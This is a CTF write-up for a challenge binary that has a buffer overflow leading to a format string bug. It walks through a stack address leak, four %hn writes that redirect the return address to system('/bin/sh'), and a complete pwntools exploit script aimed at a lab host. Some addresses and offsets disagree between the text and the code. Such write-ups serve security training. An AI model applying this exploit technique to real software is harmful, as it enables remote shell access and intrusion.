AMSI CTF 2025 - Ahahah ! You didn't say the magic word 😉

Vulnerability
This was a buffer overflow leading to a format string vuln.
We could leak data and do an arbitrary write because of reflected address in the leak, at position %17$p
.
Leak return address
It was possible to leak the return address by overflowing 256 bytes of data and then use a format string* : in position %2$p
we could leak a random stack address.
This random stack address was 628 bytes
away from a return address.
Return address overwrite
Here is the strategy :
Stack elements | Offset from EBP | Overwrite value |
---|---|---|
EBP | 0 | (unused) |
Return address 1 | 4 | system (0x80507d0 ) |
Return address 2 | 8 | (unused) |
Argument | 12 | “/bin/sh” (0x80ba34d ) |
We can do this in 4 writes of 2 bytes each (using %hn
specifier) :
<stack_return_address_1>
:0x27d0
(2 less significant bytes ofsystem
)<stack_return_address_1 + 2>
:0x0x0805
(2 most significant bytes ofsystem
)<stack_return_address_1 + 8>
:0xa34d
(2 less significant bytes of “/bin/sh”)<stack_return_address_1 + 10>
:0x080b
(2 most significant bytes of “/bin/sh”)
Format string vuln exploit
I used 252 bytes
of overflow (instead of 256 bytes) before doing the format string vuln
exploit (because 4 bytes have already been written because of %2$p
).
For some reason, we have to substract our bytes values by 12 bytes (because 12 bytes have already been written to stdout but i have no idea when). Here is the payload :
Stack position | Total of bytes written (modulo 65535) | Format string |
---|---|---|
return_address | 0x27d0 - 12 = 10180 | %10180c%17$hn |
return_address + 2 | (65536 - 10180) + 0x0805 - 12 = 57397 | %57397c%18$hn |
return_address + 8 | (65536 - (10180 + 57397)) + 0xa34d - 12 = 39752 | %39752c%19$hn |
return_address + 10 | 65536 - (10180 + 57397 + 39752) % 65536 + 0x80b - 12 = 25790 | %25790c%20$hn |
Do not blame me for these horrific calculations, i hate format strings even though this is super powerful.
Exploit
from pwn import *
elf = ELF("GRID_security_panel_cli")
p = remote("192.168.1.107",8000)
# system @ 0x80527d0
# /bin/sh @ 0x80ba34d
p.recvuntil(b"> ")
p.sendline(b"A"*256 + b"%2$p")
stack_retaddr_leak = int(p.recv(4096).decode(),16) + 612 - 0x10
print(hex(stack_retaddr_leak))
p.sendline(p32(stack_retaddr_leak) + p32(stack_retaddr_leak + 2) + p32(stack_retaddr_leak + 8) + p32(stack_retaddr_leak + 10) + b'B'*252 + b'%10180c%17$hn%57397c%18$hn%39752c%19$hn%25790c%20$hn')
p.sendline(b"quit")
p.interactive()